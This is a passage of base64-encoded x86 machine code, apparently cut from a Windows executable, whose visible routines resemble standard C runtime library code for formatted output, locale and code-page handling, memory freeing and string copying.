QjYXY/f//UOhlEwAAg8QQhcB0H8eFuP3//wEAAADrE4pH/IiF9P3//8eF2P3//wEAAACNtfT9///pxQMAAIsHg8cEib3k/f//hcB0M4twBIX2dCwPvwD3wwAIAAB0FJkrwseFvP3//wEAAADR+OmKAwAAM8mJjbz9///pfQMAAIs1kGJBAFboNxEAAFnpawMAAIP4cA+P4wEAAA+EzwEAAIP4ZQ+MWQMAAIP4Zw+OS/7//4P4aXRkg/hudCWD+G8PhT0DAADHhdj9//8IAAAAhNt5W4HLAAIAAImd6P3//+tNg8cEib3k/f//i3/86Oan//+FwA+E6wQAAIuF4P3///bDIHQFZokH6wKJB8eFuP3//wEAAADpegQAAIPLQImd6P3//8eF2P3//woAAAD3wwCAAAB1DPfDABAAAA+EjgEAAIsPg8cIib3k/f//M/aLf/zprgEAAHURgPpndVbHhdz9//8BAAAA60o7wX4Ii8GJhdz9//89owAAAH43jbhdAQAAV+j8yf//ipXv/f//iYWo/f//WYXAdAqL8Im9xP3//+sKx4Xc/f//owAAAIu95P3//4sHg8cIiYWA/f//ib3k/f//i0f8iYWE/f//jYWQ/f//UP+1sP3//w++wv+13P3//1D/tcT9//+NhYD9//9WUP817GxBAP8V/BBBAP/Qi/uDxByB54AAAAB0IYO93P3//wB1GI2FkP3//1BW/zX4bEEA/xX8EEEA/9BZWYC97/3//2d1HIX/dRiNhZD9//9QVv819GxBAP8V/BBBAP/QWVmAPi0PhSj+//+BywABAABGiZ3o/f//6Rb+///Hhdz9//8IAAAAagfrHIPocw+E3/z//0hID4SW/v//g+gDD4VrAQAAaifHhdj9//8QAAAAWImFrP3//4TbD4l8/v//BFHGhdT9//8wiIXV/f//x4XM/f//AgAAAOle/v//g8cEM/aJveT9///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAqLR/yZi8iL+usFi0/8i/72w0B0HDv+fxh8BDvOcxL32RP+99+BywABAACJnej9///3wwCQAAB1Aov+i5Xc/f//hdJ5BTPSQusUg+P3uAACAACJnej9//870H4Ci9CLwQvHdQaJtcz9//+NdfOLwkqJldz9//+FwH8Gi8ELx3Q9i4XY/f//mVJQV1HoDRA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NCFFQ/xUcEEEAhcB04maLRQiL5V3DzMzMzMzMzMzMzMzMzFGNTCQEK8gbwPfQI8iLxCUA8P//O8hyCovBWZSLAIkEJMMtABAAAIUA6+lVi+xWi3UIhfYPhOoAAACLRgw7BSRtQQB0B1DoB3v//1mLRhA7BShtQQB0B1Do9Xr//1mLRhQ7BSxtQQB0B1Do43r//1mLRhg7BTBtQQB0B1Do0Xr//1mLRhw7BTRtQQB0B1Dov3r//1mLRiA7BThtQQB0B1DorXr//1mLRiQ7BTxtQQB0B1Dom3r//1mLRjg7BVBtQQB0B1DoiXr//1mLRjw7BVRtQQB0B1Dod3r//1mLRkA7BVhtQQB0B1DoZXr//1mLRkQ7BVxtQQB0B1DoU3r//1mLRkg7BWBtQQB0B1DoQXr//1mLRkw7BWRtQQB0B1DoL3r//1leXcNVi+xWi3UIhfZ0WYsGOwUYbUEAdAdQ6BB6//9Zi0YEOwUcbUEAdAdQ6P55//9Zi0YIOwUgbUEAdAdQ6Ox5//9Zi0YwOwVIbUEAdAdQ6Np5//9Zi0Y0OwVMbUEAdAdQ6Mh5//9ZXl3DVYvsVot1CIX2D4RuAwAA/3YE6K15////dgjopXn///92DOidef///3YQ6JV5////dhTojXn///92GOiFef///zbofnn///92IOh2ef///3Yk6G55////dijoZnn///92LOheef///3Yw6FZ5////djToTnn///92HOhGef///3Y46D55////djzoNnn//4PEQP92QOgref///3ZE6CN5////dkjoG3n///92TOgTef///3ZQ6At5////dlToA3n///92WOj7eP///3Zc6PN4////dmDo63j///92ZOjjeP///3Zo6Nt4////dmzo03j///92cOjLeP///3Z06MN4////dnjou3j///92fOizeP//g8RA/7aAAAAA6KV4////toQAAADomnj///+2iAAAAOiPeP///7aMAAAA6IR4////tpAAAADoeXj///+2lAAAAOhueP///7aYAAAA6GN4////tpwAAADoWHj///+2oAAAAOhNeP///7akAAAA6EJ4////tqgAAADoN3j///+2uAAAAOgseP///7a8AAAA6CF4////tsAAAADoFnj///+2xAAAAOgLeP///7bIAAAA6AB4//+DxED/tswAAADo8nf///+2tAAAAOjnd////7bUAAAA6Nx3////ttgAAADo0Xf///+23AAAAOjGd////7bgAAAA6Lt3////tuQAAADosHf///+26AAAAOild////7bQAAAA6Jp3////tuwAAADoj3f///+28AAAAOiEd////7b0AAAA6Hl3////tvgAAADobnf///+2/AAAAOhjd////7YAAQAA6Fh3////tgQBAADoTXf//4PEQP+2CAEAAOg/d////7YMAQAA6DR3////thABAADoKXf///+2FAEAAOged////7YYAQAA6BN3////thwBAADoCHf///+2IAEAAOj9dv///7YkAQAA6PJ2////tigBAADo53b///+2LAEAAOjcdv///7YwAQAA6NF2////tjQBAADoxnb///+2OAEAAOi7dv///7Y8AQAA6LB2////tkABAADopXb///+2RAEAAOiadv//g8RA/7ZIAQAA6Ix2////tkwBAADogXb///+2UAEAAOh2dv///7ZUAQAA6Gt2////tlgBAADoYHb///+2XAEAAOhVdv///7ZgAQAA6Ep2//+DxBxeXcNVi+xRUaGAYkEAM8WJRfxTVot1GFeF9n4hi0UUi85JgD